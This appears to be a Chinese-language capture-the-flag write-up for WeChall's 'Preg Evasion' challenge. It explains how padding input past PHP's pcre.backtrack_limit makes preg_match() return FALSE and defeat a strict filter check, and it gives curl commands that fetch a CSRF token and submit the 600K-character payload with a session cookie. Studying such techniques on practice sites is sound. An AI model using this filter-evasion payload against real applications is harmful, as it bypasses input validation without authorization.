WeChall - Preg Evasion

Challenge

绕过两个矛盾的检查:

1
2
3
4
5
6
7
8
// 检查1:不允许包含 badmethod 或 evilfunction
if (1 === preg_match('#^.*((?:badmethod)|(?:evilfunction)).*$#s', $text)) {
return 'Evil text detected';
}

// 检查2:必须同时包含 badmethod 和 evilfunction
return strpos($text, 'badmethod') !== false
&& strpos($text, 'evilfunction') !== false;

来源:sourcecode.php

Solution

利用 PHP 的 pcre.backtrack_limit(默认值:PHP 5.3 为 100K,PHP 7+ 为 1M)。当回溯次数超限时,preg_match() 返回 FALSE(不是 0 也不是 1),严格比较 1 === FALSE 结果为 false,从而绕过拦截。而 strpos() 是线性字符扫描,不受回溯影响。

Payload

关键字放开头,尾部填充大量字符耗尽回溯预算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 提取 CSRF token
CSRF=$(curl -s --max-time 10 \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
'https://www.wechall.net/en/challenge/noother/preg_evasion/index.php' \
| grep -oP 'gwf3_csrf"\s*value="\K[^"]+')

# 构造 payload:关键字 + 600K padding
text="badmethodevilfunction$(python3 -c "print('.' * 600000)")"

# 提交
curl -s --max-time 30 \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode "text=$text" \
--data-urlencode "hackit=Your button" \
--data-urlencode "gwf3_csrf=$CSRF" \
'https://www.wechall.net/en/challenge/noother/preg_evasion/index.php'

原理

正则 ^.*((?:badmethod)|(?:evilfunction)).*$ 中:

  • ^.* 贪婪匹配整个字符串(badmethodevilfunction + 600K 个 .
  • 交替 (badmethod)|(evilfunction) 在行尾匹配失败
  • PCRE 逐字符回溯,每次在当前位置尝试两个分支
  • 总回溯次数 ≈ 600K × 2 = 1.2M,远超默认回溯上限

若服务端 pcre.backtrack_limit 更高,等比例增大 padding 即可。

CSRF token 位于页面 form 中:

1
<input type="hidden" name="gwf3_csrf" value="7zluZ476" />